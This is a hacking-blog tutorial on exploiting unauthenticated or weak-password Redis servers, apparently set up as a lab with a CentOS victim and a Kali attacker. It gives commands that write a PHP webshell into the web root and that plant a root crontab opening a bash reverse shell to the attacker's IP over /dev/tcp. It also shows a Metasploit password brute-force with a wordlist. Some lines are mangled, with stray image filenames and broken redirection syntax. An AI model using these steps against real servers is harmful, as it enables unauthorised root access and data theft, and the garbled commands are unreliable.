Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863535724

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Redis is a cross-platform non-relational database. The data in memory can be saved on disk and can be loaded again for use during restart. It supports strings, hash tables, lists, collections, ordered collections, bitmaps, hyperloglogs and other data types.Redis

Vulnerability Principle

When Redis defaults to port 6379 and is a password or a weak password, the redis service on the public network will be accessed by any user unauthorized, read data, and use redis's own commands to write files. Thus gaining system permissions.

Experimental Environment

Centos7 (public network, victim end) Kali Linux (attack end)

Installing Redis

We first install Redis in Centos. Execute the following commands separately

wget http://download.redis.io/releases/redis-2.8.17.tar.gz #Download

tar xzf redis-2.8.17.tar.gz #Decompression

cd redis-2.8.17

make #Compiled

cd src

cp redis-server /usr/bin

cp redis-cli /usr/bin

cd .

cp redis.conf /etc/

redis-server /etc/redis.conf 编译安装 启动

It should be noted that we need to open port 6379 in the firewall and security group.

Unauthorized Test

We directly execute the following command in kali

redis-cli -h 8.219.xxx.xxx 连接成功

If it is a higher version of redis, you need to modify the configuration file. Remove the # comment before bind and change the protected-mode to no.

Use redis to write webshell

When writing webshells using redis, we need to know the path of the web site. Otherwise, you won't be able to connect even if you generate a webshell. Suppose that when we are in our site directory, execute the following command.

config set dir /var/www/html #Set directory

config set dbfilename kali.php #Generate file

set xxx '\r\n\r\n?php phpinfo();\r\n\r\n' #Write content to the file

save#Save nalxquqagth126.png

After completion, we access the file c4zfrxwn0zn129.png

Bounce Shell

We use nc to listen to ports in kali.

nc -lvp 5555 lfaukvjwgnd130.png

Next we use redis to create a timed task file. Online nc through timed tasks

config set dir /var/spool/cron/crontabs

config set dbfilename root

set xxx '\n\n* * * * * * /bin/bash -i/dev/tcp/kali's IP/5555 01\n\n'

After saving time, the command will be automatically executed to go online.

redis password cracking

Generally speaking, the default password will be set. We modify it in the configuration file redis.conf.hhnfmxntfs2131.png

Configure msf

msfconsole

use auxiliary/scanner/redis/redis_login

set RHOSTS 8.219.xxx.xxx

set PASS_FILE /root/22.txt #Set password dictionary

run 配置如上

破解成功

There are many modules for redis utilization in msf. We can use the following command to view

search redis 4khkzo5bqac135.png

After simple configuration, it can be used directly.